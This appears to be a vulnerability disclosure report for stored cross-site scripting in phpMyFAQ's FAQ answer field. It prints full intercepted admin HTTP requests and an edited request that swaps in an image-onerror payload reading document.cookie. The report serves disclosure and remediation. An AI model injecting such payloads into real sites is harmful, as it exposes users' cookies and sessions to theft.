Description

Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted websites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user within the output it generates without validating or encoding it.

Based on the github commit -> Github Commit Here, it does not properly filter the input of answer value at the FAQ module which we can use another way to bypass the filtering to achieve XSS.

Proof of Concept

Step 1: Go to Add New FAQ

Step 2: Add a FAQ

Step 3: Intercept the request

Original Request

POST /phpmyfaqnew/phpmyfaq/admin/?action=saveentry&id=1 HTTP/1.1

Host: DOMAIN
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 386
Origin: http://DOMAIN
Connection: close
Referer: http://DOMAIN/phpmyfaqnew/phpmyfaq/admin/index.php?action=editentry&id=1&lang=en

Cookie: pmf-csrf-token-4236a440a6=b87cdd3fd8c6d1de681c8b31db7dc6a0; pmf-csrf-token-43e075fa5c=4112ad08e777ea655bdda1432bcbead7; pmf-csrf-token-bdeef9669c=4bbb9d75362140185ed5f75cf0ec1a5a; pmf-csrf-token-b3e2016b52=9f1032e847cd1b8dfb4bf2ffa6fac78f; pmf_sid=6; pmf-csrf-token-cb8b33e854=4c9a133f64f4c91e0dd7176ecb389e34; phpmyfaq_cc_cookie={"categories":["necessary"],"level":["necessary"],"revision":0,"data":null,"rfc_cookie":false,"consent_date":"2023-04-10T08:02:28.700Z","consent_uuid":"88b3118d-69c6-41cb-bc18-18dca9e1ef90","last_consent_update":"2023-04-10T08:02:28.700Z"}; PHPSESSID=ms5d3elu5q7n2tld87bmlqsvaf; phpmyfaq-setup=d9qrapfg2ghlr07u7sneo8sfj9

Upgrade-Insecure-Requests: 1

revision_id=0&record_id=1&openQuestionId=0&notifyUser=&notifyEmail=&pmf-csrf-token=2cabe3dba435b55e8b35b8604f8cd242&question=test&answer=%3Cp%3Etest%3C%2Fp%3E&rubrik%5B%5D=1&lang=en&tags=&keywords=&author=admin&email=admin%40admin.com&grouppermission=all&userpermission=all&restricted_users=1&changed=&notes=&recordDateHandling=on&date=&active=yes&revision=no&comment=y&solution_id=1000

Step 4: We can see the answer value -> %3Cp%3Etest%3C%2Fp%3E

Step 5: Change it to <img+src=asdf+onerror=alert(document.cookie)>

Edited Request

POST /phpmyfaqnew/phpmyfaq/admin/?action=saveentry&id=1 HTTP/1.1

Host: 192.168.93.136
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 386
Origin: http://192.168.93.136
Connection: close
Referer: http://192.168.93.136/phpmyfaqnew/phpmyfaq/admin/index.php?action=editentry&id=1&lang=en

Cookie: pmf-csrf-token-4236a440a6=b87cdd3fd8c6d1de681c8b31db7dc6a0; pmf-csrf-token-43e075fa5c=4112ad08e777ea655bdda1432bcbead7; pmf-csrf-token-bdeef9669c=4bbb9d75362140185ed5f75cf0ec1a5a; pmf-csrf-token-b3e2016b52=9f1032e847cd1b8dfb4bf2ffa6fac78f; pmf_sid=6; pmf-csrf-token-cb8b33e854=4c9a133f64f4c91e0dd7176ecb389e34; phpmyfaq_cc_cookie={"categories":["necessary"],"level":["necessary"],"revision":0,"data":null,"rfc_cookie":false,"consent_date":"2023-04-10T08:02:28.700Z","consent_uuid":"88b3118d-69c6-41cb-bc18-18dca9e1ef90","last_consent_update":"2023-04-10T08:02:28.700Z"}; PHPSESSID=ms5d3elu5q7n2tld87bmlqsvaf; phpmyfaq-setup=d9qrapfg2ghlr07u7sneo8sfj9

Upgrade-Insecure-Requests: 1

revision_id=0&record_id=1&openQuestionId=0&notifyUser=&notifyEmail=&pmf-csrf-token=2cabe3dba435b55e8b35b8604f8cd242&question=test&answer=<img+src=asdf+onerror=alert(document.cookie)>&rubrik%5B%5D=1&lang=en&tags=&keywords=&author=admin&email=admin%40admin.com&grouppermission=all&userpermission=all&restricted_users=1&changed=&notes=&recordDateHandling=on&date=&active=yes&revision=no&comment=y&solution_id=1000

Step 6: Save it

Step 7: Go to the FAQ

Step 8: XSS tiggered!

Impact

An attacker can use XSS to send a malicious script to an unsuspecting user. The end user’s browser has no way to know that the script should not be trusted, and will execute the script. Because it thinks the script came from a trusted source, the malicious script can access any cookies, session tokens, or other sensitive information retained by the browser and used with that site. These scripts can even rewrite the content of the HTML page.